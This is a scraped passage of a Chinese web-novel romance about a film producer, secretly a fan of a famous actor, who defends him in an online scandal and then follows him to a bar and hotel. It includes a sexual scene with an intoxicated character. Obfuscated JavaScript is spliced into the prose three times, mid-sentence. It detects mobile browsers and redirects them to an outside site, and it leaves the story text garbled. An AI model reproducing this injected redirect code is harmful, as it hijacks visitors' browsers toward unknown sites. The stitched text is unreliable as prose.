如果他点头,那么在木哀梨心里,他就是为了让木哀梨出演不择手段甚至不惜欺骗老人的混账。 可如果否认。 周新水一咬牙:“是。” “时间不早了,请回吧。”木哀梨走到门口,开门送客。 怎么说变脸就变脸。 周新水刚萌生的一点窃喜又被剥夺了个干净,他木然盯着木哀梨看了好一会,拖着沉重的腿去收拾桌上的餐具。 “不用收,我下次送过去。” “我每天都要上柯老家,正好带去。” 这样,木哀梨就没再说什么。 他靠着门框上,摆弄着手机,宁九在三人微信群刷屏问他吃得如何。 木哀梨抬头,周新水刚拿起保温桶的盖子,似乎注意到什么,手上动作迟滞两秒才把它盖上,又抽了两张纸擦拭桌面和保温桶。 那人微微俯身,外穿的风衣还在自己身上,只一件衬衫在身上,胸肌和臂肌将衬衫撑得极其饱满,手掌宽大温暖,一只手就能把他脸完全罩住。 可惜。 他低下头,打字。 木哀梨:没吃。 宁九:? 宁九:暴殄天物。 宁九:那一块块的肌肉壮得跟牛一样 宁九:他不行 宁九:还是你不行了 沈玉书:哀梨又不是魅魔,见人就上 宁九:原来不是吗,我去,你不早说 木哀梨:。 一片阴影投射到他手机屏幕上,木哀梨把手机息屏,看见周新水走出来。 周新水个子高,又壮,一个人就能把门填满,很难相信这样一个人的工作居然是拍电影,而不是打黑拳。 木哀梨错身让他出门,随后就要关门。 周新水抵住门,不死心地尝试,“虽然你今天又拒绝了我一次,但我还是想说,《换乘》很期待能跟你合作,这个剧本已经改得差不多,等改完,我会把它发给你,要你还是……我相信你会有所改观的。” “如果你加入我们,我用制作人的身份保证,你是绝对的主角,所有待遇都是最高规格,上次说的,能够为你随时暂停同样有效,只要你愿意,再看一眼它。” 木哀梨含笑,语气平平,“慢走不送。” 到十二月,剧本终于修改完。 周新水把阿云的剧本打印出来,写上“致木哀梨”,寄到了木哀梨工作室。 班底筹备已经差不多,但最重要的主演还没有定下来,张总和几个投资方问过他几次,都被他打哈哈圆了回去。 张总劝他,请不到木哀梨,换别人也行,周新水每次都说在接触了在接触了。 好在张总这个人,用人不疑,疑人不用,哪怕觉得周新水这样拖拖拉拉不合适,也没有过多干涉,给足了自主权。 加上周新水带着谭子濯感受业务,露了一手见人说人话、见鬼说鬼话的本领,把谭子濯看得一愣一愣的,估计回去说了不少周新水的好话。 《换乘》的其他角色都定下来,在演员粉丝群体里传开,导演又是沉寂多年的柯图,这个饼讨论的热度不低。 都说主演一直没官宣,是想憋个大的。 看得周新水都心虚。 他也想啊。 手机弹了谭子濯的消息。 谭子濯:哥,有人要害木哀梨! 随后发来一条链接。 周新水刚要点开,又谨慎地收手。 谭子濯前不久用这一招骗了全公司的人,周新水也不例外,点进去给他砍了一刀。 他疑心谭子濯故态复萌,但木哀梨三个字的分量还是超过了对重蹈覆辙的担心。 链接是一条营销号视频,视频主角是翟开诚。 标题:纯情奶狗惨遭玩弄! 视频里翟开诚在综艺上回溯自己是怎么被哄骗,怎么被抛弃,最后后期给他加了个小狗特效,显得他可怜巴巴。 评论区一溜的“好可怜,怜爱了”“快来妈妈怀里”““小翟才刚刚成年,还懵懂无知就被骗了”“对方不是一直被爆料在酒吧被偶遇吗”滥情的人能不能滚出娱乐圈,带坏未成年三观”“对感情不真诚的人要吞一万根针”…… 周新水“哈”了一声:“你们是弱智吗?他跟木哀梨谈恋爱,到底是谁占谁便宜,有眼睛都能看出来。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123048|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在搜索框输入木哀梨的名字,弹出来的营销号跟吃菌子中毒了一样发这段剪辑,好像木哀梨做了什么十恶不赦的事情一样。 然而事实上,翟开诚这个综艺主持的资源都是木哀梨给的。 以前营销号可不敢乱发这些内涵木哀梨的内容。 翟开诚的经纪公司是圈内龙头,营销手段令人发指,全网养着上万营销号,大概率就是看翟开诚和木哀梨彻底没戏,要踩着木哀梨上位。 周新水心一抽一抽地疼。 啃口梨:有人要谋害咱娘俩! -啃哥,木木这算是塌了吗? -塌毛线 -也不是第一次了,之前不还有个分手后发博内涵说处对象不能只看脸,被姐妹们截图归入我女战绩了吗 -都追mal了,还没有大心脏吗 -好恶心啊,木木不管网上风评,也不代表他就能这样造谣吧 -不觉得很恐怖吗,两个月前还睡在一起甜甜蜜蜜,两个月后就污蔑诋毁,谁敢信他一个字 啃口梨:这算哪门子塌房?哪天爆出来我女还是处那才叫塌房好吗。 -别逗你木姐笑了 -翟开诚是处男,家妻都不可能是处女 -游戏半生归来仍是处子,不好吃吗我大吃特吃 啃口梨这个账号粉丝不少,还有不少窥屏党,这条微博被乐子人截图到豆瓣,瞬间给人看笑了,又从豆瓣搬运到流媒体,短短几个小时,竟然和指责木哀梨的视频热度不相上下。 然而木哀梨工作室始终没有反应。 什么叫皇帝不急太监急,气得周新水跑到工作室微博下留言草台班子都回家好吗。 正巧这时,木哀梨工作室给制作人周新水打来电话,电话对面是经纪人万凝雪。 她说:“周制作您好,剧本我已经通读一遍,是非常优秀的剧本,只是我们哀梨对这类角色实在不感兴趣。您对哀梨如此看重,我们心领,但这次确实不行,实在不好意思,您可千万别记恨我们,以后有机会的话,还能合作,期待你们下一个剧本。” 周新水:“木哀梨看了吗。” 万凝雪顿了一会,“他之前就看过一点。” “那就是没看过。” 周新水心平气和。 “呃,不好意思,哀梨他比较忙,今天又被他舅舅叫去了。” “他忙我能理解,你们呢?啊?网上都闹成那样了,都喊着要木哀梨滚出娱乐圈了,你们没点反应吗?” 万凝雪似乎有些尴尬,周新水又说:“你们工作室是吃干饭的吗?” 万凝雪忍不住了,“你是我们木木的粉丝吧?我理解你的怨气,但是,网上说的也是……事实啊,主要是木木他就是比较爱玩,早年我也劝他装一装,别被拍到了,但是,那不是他觉得无所谓吗。” “什么叫事实?谈恋爱是事实,木哀梨占他便宜欺骗纯情少男也是事实吗?成年人了,谈木哀梨之前他没想过会有分手那一天吗?” “要是木哀梨真听你们的装一装,那现在爆出来就不是风流多情玩弄少年,谈恋爱直接塌了!” “你们拿着木哀梨的工资,能不能对木哀梨多一点信任?都不要求你们无条件溺爱了,拿钱你得干活吧?反黑啊!澄清啊!哪件你们做了?还在这儿慢悠悠看剧本呢!” 万凝雪被骂得也有些生气了,她接手木哀梨以前也带过几个流量艺人,没哪个像木哀梨这样乱来。 “我倒是想,那也得有证据啊。” “要什么证据,你在娱乐圈混,真信证据那一套啊?那翟开诚他编造谎言的时候他拿出什么证据了吗?嘴巴一张就是说。证据没有,律师函也没有吗,严正申明也没有吗?”周新水跟个炮仗一样,炸个不停。 对面沉默下来。 周新水也深深吐了一口气。 木哀梨工作室一直是这样,在木哀梨无可诟病的演技和强大的家境庇佑下,什么都不用干,坐着捡钱,遇到问题,直接停摆了。 稍稍冷静一点,周新水说:“你要证据,我有。” 15. 第 15 章 木哀梨不满岁,母亲权鸥就心脏病发去世,十二岁时父亲木敏达又发生车祸不治身亡,木家没有直系长辈,便把他送去了京市的外祖家,外祖父和外祖母年纪大,腿脚不便,住在郊区,怕耽误木哀梨学习,让他随同市区的小舅权鹭生活。 这一生活就是四年,出事之后木哀梨从权鹭家中搬出来,有戏就在剧组,没戏就酒店和独居平层两头跑。 被权鹭叫来海市的分公司,木哀梨并没有几分和久不见面的亲人相逢的愉快。 他进了办公室,什么也不说,在办公桌对面的沙发上坐下,低头转着手机。 权鹭比木哀梨大上十二岁,但俊朗端庄,看不出年龄,早早接手集团工作,常穿一身私人定制的黑色西服,剪裁得体,衬得身形挺阔。 平日里见私客都在自己的办公桌上不动如山,但对象换成木哀梨,他从办公桌后走出来,在木哀梨右手侧的单人沙发上坐下,放了一叠文件在桌上,说:“过年不回家,我来海市一个多星期,也不见你来看我。” 木哀梨将左腿搭在右腿上,面容平静,淡淡道:“以前见多了,腻了。” 权鹭面色微僵,“亲人哪有见腻了的。” 木哀梨脸色一沉,转手机的动作顿住,旋即似笑非笑地嗤了一声。 “网上的事情,我会叫人处理好,你不要忧心。” 木哀梨凝眸,窄眉皱起,“不用你插手。” 权鹭被木哀梨拿话刺了也只是微微一笑,习以为常,“有些话说得太难听,已经涉嫌造谣诽谤,我让法务部的律师和你工作室人员接洽,免得你们临时找律师。” “你也真是,工作室都成立好几年了,没提前备着一两个律师。” 木哀梨站起身来,“我说了,不用。” 他居高临下睨着权鹭,对方笑容略显僵涩,但终究是维持下来。 “其他的我都依你,但这回网上闹得太不像话,我不能放任不管。” 木哀梨忽地一笑,仿佛艳丽的花遇上淋漓的雨,“说我什么?说我滥情,说我花心,见异思迁,薄情寡义,嗯,然后呢,说得不对吗?” 权鹭眼神有了些许变化,默了两秒,没有正面回答,“总归对你名声不好,你是在娱乐圈里待的人,名声不好,做什么都受人白眼。” “我还有名声呢。” 权鹭也站起来,似乎有话要说,木哀梨毫不在意道:“小舅,我十六岁就学会爬男人床这种龌龊事了,这才哪到哪。” 缄默在办公室里洇开。 “哀梨,”权鹭深吸一口气,无奈至极,“就算是这样,你那个前男友也不该在网上诋毁你,做得太过分了。” 木哀梨拖长尾音“哦”了一声,“这就过分了吗?” 权鹭动了动唇,盯着木哀梨,眼里挣扎着某种难以言喻的哀痛,最后侧过头去,沉声道:“你现在拒绝,也来不及了。” 木哀梨转身就忘外走,权鹭叫住他,道:“今年过年回京市看看姥姥姥爷。” “到时候再说。”木哀梨撂下一句,戴上口罩,头也没回。 他走得急,一路上没看手机,走出了权家公司大楼才看见万凝雪发来的信息。 万凝雪说,权鹭从他这儿拿走了录音,联系了营销公司,网上舆论风向立马大变。 木哀梨:什么录音 万凝雪:就那个《换乘》剧本制作人周新水,我给他打电话回复的时候他说他有和翟开诚的录音。 万凝雪:录音里有些东西,说是可以往翟开诚瞧不起劳动人民、和平分手但是为了流量反咬一口这些地方做文章。 万凝雪:半个小时前稿子就已经发出去了。 木哀梨闭了闭眼,感到万事不如意,握着手机的手愈发用力,直到手背一抽一抽地泛痛,才睁开眼,从齿缝里挤出几个字:“多管闲事。” 他坐上车,权家在海市的分公司他来得少,不熟路,正要开导航,手一滑点进微博,主页全是和他相关的话题。 木哀梨下意识划了几下,广场已经洗得一干二净,权鹭应该是砸了一大笔钱。 再刷,发现有个id叫啃口梨的用户,尤其活跃,发了十来条文抨击翟开诚,言辞犀利,语言幽默,条条点赞过万,不知道收了多少钱,这么卖力。 木哀梨对网上的事情从来不管不顾,也不让工作室成员搭理。 当初权鹭安排万凝雪给他,见面的第一天,木哀梨就告知对方除了接本子,什么都不用管。 万凝雪很为难,表示以她的经验来看,不作为的工作室往往被骂得很惨,但木哀梨开的工资太高了,万凝雪笑着答应。 后来见万凝雪实在百无聊赖,已经到了没任何工作成就感、快要跟他提离职的地步,木哀梨才提议招几个新人让她带着。 结果今天还是让权鹭插上了手。 木哀梨看着屏幕上的博文,记下了“啃口梨”这个id。 啃口梨:一想到翟开诚这个贱人摸到过我女的小手我就头晕、眼花、耳鸣、喘不过气、四肢无力、浑身颤抖,你好大的福气(恨恨咬手帕) 啃口梨:不是不能要,但是人你要了,综艺MC你要了,S级制作男二你要了,流量你要了,风评你要了,你改名牢要好了! 啃口梨:要是能睡到世界级大美女,上综艺立可怜无辜被抛弃小狗人设,混在一堆大前辈里给上星综艺当主持,拳打流量脚踢大佬拿下大制作,哪怕被我女扇巴掌我也愿意啊。 -卧槽,用户怒了 -梦男666,演都不演了 -给啃哥急得 -换我我也急[怒] “啃口梨”的微博被截图传得满天飞,相关的抖音视频评论区热评全是啃口梨三个字,以这种诡异的姿态吸引了路人的兴趣,让大众的关注点转移到破防梦男身上,折叠的回复里全是“我不行了”“这样看来翟开诚的确是木哀梨众多前男友中最low的一个”。 相比于温和的抖音,豆瓣就尖锐很多。 -梦男味都溢出屏幕了还我们是父女~ -你不懂,这叫中式家庭,亲情是不能变质成爱情的,哪怕爱得死去活来心急火燎辗转反侧彻夜难眠也要强撑着说我们是父女 -梦女最爱钻妈粉裙底,梦男同理 -他这一闹,谁还在意木哀梨玩弄小男生感情 -别说恶心话行吗,我要吐了,还小男生,一口一个破卖保险的,高贵天龙人怎么沦落到挣我们破打工人的钱呢 周新水不在乎自己被如何议论,只要木哀梨平安度过这一场无妄之灾,翟开诚这个忘恩负义的狗东西得到应有的报应,他就高兴。 确认网上风向稳定下来不会再变,周新水也不再发博,转而掏出信纸,写起信来。 作为大粉,他要引导风向,博文的一字一句都要细细斟酌,既要吸引眼球,又要注意不能引起反感,破口大骂太没品,容易惹得路人逆反,所以他发博都克制又克制。 但私下怎么写怎么骂,都无所谓了。 周新水连写三张信纸,从翟开诚背信弃义以怨报德眼瞎心黑骂到对面经纪公司阴险毒辣狡猾奸诈吃人不吐骨头,最后话锋一转,多愁善感地忧心木哀梨审美下降,如何是好?洋洋洒洒写了两页关于擦亮眼睛挑伴侣的小技巧,核心主题就一句话,行不行不重要,重要的是真心对他好。写完又觉得不行,木哀梨的□□也是幸福,又加一句,可以适当考虑尺寸和时长问题。 最后装进信封时,看着纸上翟开诚三个字就碍眼,干脆把提到他的三页纸抽出来丢进垃圾桶,只留下和木哀梨有关的,小心翼翼叠起来封好。 风波平息下来,周新水一如既往地去柯家。那绿柏有几个学生,写了剧本,她有心要帮忙改改,但眼睛不给力,就叫了周新水先帮他过目一遍。 剧本不长,那绿柏在阳台侍弄花草,周新水就在客厅翻着看,一两个小时就看完了,正好那绿柏打理完阳台,让他提点意见。 周新水记了不少笔记,有条不紊地发表看法。 那绿柏眼里止不住的满意,补充了一些,字字珠玑,简单几句话,醍醐灌顶,又问他觉得这些本子里哪本最好。 周新水斟酌着,选了一个中年职场女性因为疏忽了子女产生家庭矛盾的剧本,“如果这个剧本能更进一步挖掘不同角色的心理,我们耀星很愿意买下来。” 那绿柏指了指他,笑着说:“那我就代为转告这个好消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123049|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息了。” 虽然周新水只是个制作人,但他的成绩加上能说会道的本领,足以让开发部心甘情愿拿下这个本子。 那绿柏又问:“《换乘》主演都定了吗?有什么问题,我和老柯能帮上的,不要不好意思说。” 周新水当然巴不得柯图和那绿柏能帮他签下木哀梨,可是木哀梨本来就因为误会不满他接近柯图夫妇,再让柯图夫妇开口,恐怕适得其反。 他现在也拿不定主意,“大部分角色都定了,女主是全怜梦。” “全怜梦啊,她演技可以,脾气有点大。阿云呢?” 阿云占了一半往上的戏份,他定了,这个班底才算组建完成了。 周新水犹豫了下,往前挪,“我倒是有意向的演员,但是接触几次,人家都不乐意。” “谁?” 柯图走过来,“除了哀梨还能有谁。” 那绿柏皱眉,“老柯你不帮忙说说。” “我说也不管用,哀梨你还不了解吗?” 那绿柏收回目光:“那我去问。”但她想起哀梨性格,也没有把握,“就非哀梨不可吗?” “如果可以的话。” 柯图端着热茶喝了一口,烫得直叫唤,指着周新水:“你有这份心去追女孩子,也不至于看着别人捷足先登。” 周新水哎哎两声,“不提这个行吗?” 柯图和那绿柏都笑。 从柯家离开的时候,还不到七点,他把那绿柏学生的电子剧本发给开发部的同事,让他们看看,又坐在车上,守着点等Gaze开售。 开售前,只有一张模模糊糊的图透,粉丝一边舔屏一边问木哀梨身后那个腹肌男是谁,Gaze官方装死不回。 这一装死,舆论就乱起来。 都知道木哀梨的风流本性,甚至有人开始猜测这会不会是木哀梨下一位榻上客。 一点迹象都没有的事情,硬是被她们传得神乎其神,好像亲眼看着腹肌男干木哀梨,喊着体型差肤色差我可以就把评论区攻陷了。 还有零星几个追问腹肌男的微博,说要给他点一手关注。 屏幕上俨然是自己的照片,但周新水还是生出一股郁气。 脸都没露,只是给木哀梨当背景板,拍了一套杂志,有些木哀梨的粉丝就上赶着给人家送热度,还是木哀梨粉丝吗?能不能专注自家? 七点一到,他把加入购物车的复数杂志下单付款。 这时封面图已经完全透出,是周新水扯着身体链而木哀梨多情又蛊惑地回头那一幕。 Gaze官方回复说好心人士救场,不方便公开。 -路过,吃一口。 -真的不能公开账号吗,球球了男菩萨 -救场……不方便公开……我已经脑补出一场好戏了别打扰我 周新水气不过,发微博。 啃口梨:啥都吃,能不能吃点好的?那男的一身腱子肉,看得人恶心,脸都没露,说不定是个丑八怪,这你们也看得上[白眼] -知道了梦男哥 啃口梨:再说一遍,我不是梦男 -好的梦男哥 -拉黑了,拒同梦 啃口梨:拉回来 海市临海,天黑得早,绿化也做得好,树把路灯都遮完了,等他跟同担对线一个小时,已经黑得必须要开车灯才能上路。 他正要关了手机开车,母亲汤秋华发来消息。 汤秋华:圣诞节你哥要回来,你请个假,一起吃顿饭。 周新水:不了吧,我工作很忙。降温了,妈你和爸保重身体。 汤秋华:你哥难得回来一次。 周新水:我刚接了个项目,要全程跟,不方便。 电话那边汤秋华久久没有再回应,周新水坐在车里等了好几分钟,手机屏幕的光照在他脸上,显得很冷清。 汤秋华:那你平时多跟光赫打电话,他在国外读书很辛苦的。 周新水盯着这条信息看了许久,也没等到下一条,最后回了个“嗯”。 他吐出一口气,眼睛有些发酸,把手机往副驾驶一扔,刚启动车,突然眼前一抹骚粉色驶过。 是木哀梨的车。 16. 第 16 章 周新水跟了上去。 苍天可鉴,他绝对没有别的意思,只是天这么黑,夜这么凉,木哀梨长那么漂亮,万一出什么事,他良心难安。 木哀梨那辆跑车颜色很显眼,周新水跟得很轻松,最后看着木哀梨进了一家市中心的小酒馆。 那酒馆装成复古风格,原木的酒桌配上墨绿色窗帘,服务员不是旗袍就是燕尾服,很有民国时期海市风。 这种店价格都不便宜,周新水猫在门口的龟背竹前面,没有直接进去,刚找到木哀梨落座的位置,看见他对面是一个外国男人,服务员就走了上来。 他直起腰,尽量让自己看起来没那么鬼鬼祟祟。服务员问几位,他又心疼钱包,又不甘心让木哀梨和那个不知道是谁的男人坐一块喝酒。木哀梨开车呢,待会怎么回去?那男人打的什么主意,他一清二楚。 责任深重,他说:“就我一个。” 然后跟着服务员进了店。 服务员将他带到靠窗的一个单人桌,转头去拿菜单。这个位置景色好,但看不见木哀梨,周新水趁服务员不在,自己换了个位置,坐在木哀梨右后方。 他刚坐好,把桌边的茉莉花放到桌子中央,服务员找过来,说差点没找着人,把酒水单递给周新水。 周新水一看,最便宜的一杯688。 这都够他约一个小瑞德手作娘了。 怕被扫地出门,他笑笑,点了一杯788的。法文名,看不懂,指着酒水单装哑巴。 顺手把服务员移回原位的茉莉花又搬到桌子中央。 酒水端上来,目测不到一百五十毫升,太有格调了。 海市的物价还是一如既往地让人心疼,说习惯也习惯,但多少有些难以接受。 目光穿过茉莉花,落在木哀梨对面的男人身上。 那是个三四十岁的外国男人,一身银色西服,高鼻深眼,给他一种莫名的熟悉感,打开手机一搜,果然,是之前木哀梨接受的国外采访的主办,奥凯西。 那天采访之后,奥凯西在ins上发了和木哀梨的合照,表示非常欣赏这个来自东方的美人。 木哀梨的粉丝传播截图,为木哀梨这张权威的脸得到认可而与有荣焉。 当然,周新水不在这一行人之中。 他保存了图片,但是把奥凯西截掉了。 你欣赏就欣赏,喝酒是什么意思? 距离还是有些远,只听得见两人在说话,却听不见内容。周新水屏息凝神,竖起耳朵,也一无所获。 突然奥凯西往他的方向看过来,对视上的前一秒,周新水紧急低头,试图把自己藏在茉莉花后面。 什么也不做的话,目的就太明显了,他低着头,假装看手机。 生活号的朋友圈有新内容,是他之前加的一个手作娘发的截单通知,说已经接满了。 一分钟前。 什么时候开单的,他怎么不知道。 往下翻,就在两分钟前。 这个手作娘在圈内名气不小,经她手捏出来的小人五官生动,动态流畅,造型精致,陪伴感很强。 他蹲这个手作娘的木哀梨同人超轻粘土手办很长时间了,就这样错过,也太可惜了。 他犹豫了两分钟,决定尝试加塞,看看钞能力是不是万能的。 原价1288一套,大大小小共四只,周新水翻了倍,问能不能接。 我妹小梨:本来是不可以的 我妹小梨:但我们是同担^ 周新水:谢谢!转过去了。 我妹小梨:感谢金主妈咪! 周新水捧着手机,笑容含蓄。 忽然,对面的人站了起来,周新水瞬间屏住呼吸,目视木哀梨和奥凯西向门口走去。 周新水迅速结了帐,跟上去。 他确信刚才木哀梨喝酒了,不可能开车,而这两个人又走在一起。 周新水笑容凝滞,他竟然有些委屈,用力踩在地上,像被戴帽子的捉奸丈夫。 奇怪的是,奥凯西并没有带木哀梨上他的车。 周新水一路跟着,看着他们在一家酒店门口站住时,明白了。 心碎成一瓣一瓣的。 为什么非得跟上来,不是明知道结果是什么,就非得上来犯这个贱。 两人在酒店门口站了一会,似乎要往里走,木哀梨一抬腿,整个人一踉跄,带着酒劲,摇摇晃晃,奥凯西扶了他一把,等木哀梨站稳,便绅士地收回手。 装货。 眼见二人还要接着往里走,周新水大步流星走上去,插在木哀梨和奥凯西之间,斥责:“他喝醉了。” “你们,我不管你们是什么关系,至少你不能趁人之危,外国佬,知道什么叫趁人之危吗?” 怕奥凯西听不懂,他还拿英文重复了一遍。 诡异的是,那奥凯西竟然笑着。 周新水回头看木哀梨,木哀梨半眯着眼,眼神迷离,两颊薄粉,双唇水红,似乎是醉狠了。周新水心里像是被揪了一把,那酒馆绝对卖假酒,看看给木哀梨醉成什么样子了,他明天就给消费者协会打电话。 “不好意思,我先带他走了。”周新水没好气道。 奥凯西伸手拦他,“你是他什么人?” 周新水不说话。 “追求者?” “少胡说。” “那你凭什么带他走?” 奥凯西作势要把木哀梨拉到他身边去,周新水往前一站,高挺的身躯直直把人隔绝开。 他当然知道自己没有资格把木哀梨带走,可是他忍不住,他也是贱,就非得跟上来。 “他老师不喜欢他跟男人乱搞,包括你。”周新水撞开奥凯西,转身把摇摇欲坠的木哀梨打横抱起来,一边走,一边絮叨:“让你找个成熟懂事的,你干脆找个董事,都老得长皱纹了,你也不嫌有老人味。” 他的车并不是suv,空间不大,副驾驶不好躺,他就把人放在后座,方便他舒服地躺着。 他捧着木哀梨的脸,“你家在哪?还能听见我说话吗。都醉得不省人事了,奥凯西这个混蛋。” “不回家……”木哀梨声音很微弱,周新水问:“不回家,那去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123050|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿?” “……酒店。” 木哀梨吐出两个字,脑袋一歪,小脸砸进周新水手心,不说话了。 酒店?木哀梨还想去酒店。 虽然他在微博上为木哀梨冲锋陷阵,维护木哀梨恋爱自由权,可这不代表他真的就能眼睁睁看着木哀梨跟别人上床。 没有人能心平气和地看着暗恋对象和别人吃嘴巴。 要是没脑子犯抽跟过来就好了。 就不用像现在这样难受。 等明天木哀梨醒了,说不定还要怪他多管闲事,破坏了木哀梨的浪漫一夜情。 周新水狠狠抽了两张纸,往脸上一抹。 他坐上驾驶位,扒拉导航。 把人带到柯家也不知道会不会碍事。 柯图本来就不喜欢木哀梨“鬼混”,真把人带去了免不了被唠叨,万一木哀梨因此记恨上自己那就不妙了。 他思来想去,忽然记起上次木哀梨说他长租了顿新酒店的一个房间。 一脚油门往顿新开去。 接近木哀梨果然是一个错误的选择。 他就知道。 他对木哀梨的心思,根本不可能让他坦然接受木哀梨谈恋爱。 只有把自己套进粉丝的牡蛎壳里,反复告诉自己,如果自己都不帮木哀梨就没有人会帮木哀梨了,才能压下对木哀梨那不属于粉丝的占有欲。 他不是粉丝,只是他喜欢的人成了大明星,被太多人喜欢,显得他的喜欢无足轻重,混在粉丝当中没什么特别的。 后视镜里,木哀梨平和地闭着双眼,唇线平直,像是熟睡,他才敢小声埋怨。 “不要再谈恋爱了,好不好,求你了,你要谈,也多等一等好不好,你老是没多久就谈,我还没高兴多久,你又被拍到了。实在不行,你藏好一点,别这么坦荡,你藏住了,我就当不知道。” “本来我是要回家的,但是我没忍住跟上来,要是没跟上来就好了,就不会看到你跟那个老男人卿卿我我,也不行,我要是没跟上来,你不就真跟他睡一块了,不要……” 他的声音沉下去,身后却窸窸窣窣起来。 木哀梨可能是喝醉了难受,鼻腔里嗯嗯哼哼着,小小声的,小奶猫一样。 狭小的车厢里,声音清晰得不行,像是趴在小奶猫窝边听人家哼唧一样。 慢慢地,那声音绵长起来,尾音颤着,振动的羽毛一样,呼吸声好像带来热气,上一秒周新水还仿佛溺在水里心神荡漾,下一秒耳根一热。 木哀梨…… 周新水从后视镜看去,木哀梨仍然闭着眼,但解开了自己的毛呢短上衣,把里面黑色紧身衣推到胸口。 上衣撩开,周新水才发现木哀梨的浅蓝色牛仔裤没有拉链,裆部是一条交叉的丝带,绑出一个正三角,周新水连忙把视线往上移,就看见的黑白字母边和木哀梨自己摸着自己。 他指尖压着某个位置,周新水迅速收回目光,手指尖会有那样的粉色吗? “唔……” 木哀梨仰起头,薄唇半张,吐露出蛊惑人的喘息。 17. 第 17 章 周新水一脚刹车。 心跳得太快,且极重,几乎要砸穿他的胸膛,再开下去,算危险驾驶了。 他降下窗户,冷风扑面而来,从领口钻进体内,他却不觉得半点凉,那冷风被他的体温烫熟了。 是太热了吧,木哀梨想透透气。 周新水问:“要吹吹风吗?” 木哀梨似乎没听见他的话。 周新水不知道如何是好,耳边木哀梨的喘息越来越黏稠,已经到了没有办法忽略也没有办法再欺骗自己的地步。 最后,他把车内的记录仪关了,将纸巾放在显眼的位置,自己下车去,蹲在路边。 车外边好冷,周新水蹲在路边,跟没人要的流浪狗一样,他哆嗦着,上ins,找到奥凯西的账号,把人骂了一顿。 周新水怀疑他给木哀梨下药了,不然木哀梨怎么会那样? 奥凯西名气不小,粉丝不少,他跑到人家账号底下骂人,立马被围殴,周新水舌战群儒,没两分钟就被举报封了号。他又打开tiktok,还是搜索奥凯西。 大约二十分钟,周新水沉浸在对线当中,手感火热,突然一团纸巾砸到他鼻梁上,继而滚到他怀里。 周新水浑身一滞。 车窗搭着一只纤细的手,两指夹着一根细烟,苍白的烟丝直直向上,忽地吹来一股风,把烟丝撩得乱七八糟。 他什么也没看见,但又是纸团,又是事后烟,跟什么都看见了也没区别,耳根烫起来,他往周围看去,试图找一个垃圾桶。 但海市自从实行垃圾分类政策,户外的垃圾桶就比沙滩上的金子还少,攥着这么一个烫手山芋,他不知如何是好,干脆把它塞进了兜里。 “你好了?”周新水坐上车,便闻到一股淡淡的味道,混着薄荷烟味,并不难闻,从后视镜狭小的镜面看过去,只看得见木哀梨因餍足而轻阖的双目,眼下洇着浓粉,睫毛似乎有些湿,看起来根根分明。 木哀梨轻轻嗯了一声,声音低低的,稠稠的,有些哑。 周新水没有关窗,一边吹着冷风,一边往顿新驶去。 他不敢再看后视镜,目不斜视地往前看,到酒店门口,他说到了,喊木哀梨却没有动静,没忍住回头看了一眼,发现木哀梨闭着眼,手里的烟早已经燃尽。 “木先生?” 木哀梨仍然没有反应。 好像是睡着了。 周新水看他睡得舒服,不忍心打断他的睡眠,干脆把车开到酒店的停车库,找了位置停下,准备把木哀梨抱上去。 他绕到后座,曲起一条腿跪在座椅上,刚伸出手要抱上木哀梨,整个人一怔,双手悬在空中,眼里全是木哀梨那张美得无可挑剔的面孔,隔得这么近,周新水似乎能想象到木哀梨掀起眼皮,桃花眼风情地斜睨着他,指尖带着烟丝的余味挑起他的下巴,忽然凑近悠悠问他话。 周新水猛地往后一坐,大口呼吸,才缓过劲来。 等心率降下来,他心想好险,还好刚才没抱上木哀梨,不然要把人摔了。 木哀梨跟个玻璃娃娃一样,真磕着碰着,他得歉疚到死。 他一手沿着木哀梨的腰,一手贴着木哀梨的腿,把人从真皮座椅上剥了下来。木哀梨很适应被抱着,脑袋轻轻一点,就靠在了他肩头上。 没有多的手,只能一脚踹上去把门关了。 木哀梨这张脸在酒店很好使,前台只看了一眼,就给他按了电梯。 房卡估计在木哀梨兜里,他试了几次,不太方便,情急之下直接把木哀梨扛了起来,腾出一只手去摸房卡。 等门弹开了,周新水突然意识到不对,连声道歉:“不好意思,不好意思,马上把你放下去。” 房间是套房,周新水横抱着木哀梨,撞开门,三步并作两步赶到床边,小心翼翼把人放下,还给人掖了掖被角。 自诩已经相当细致,没成想刚松手木哀梨就把被子掀开,不高兴地扯着自己的衣服。 穿着衣服睡觉的确不太舒服,他把人扶起来,单手解了木哀梨的外衣,里面的实在不好再碰,正要到这里结束,木哀梨却已经自顾自地撩起了黑色底衣。 他赶忙避开视线,但还是避无可避地捕捉到一抹红印,似乎是刚才他扛着木哀梨时肩膀给人腹部顶出来的。 很可怜。 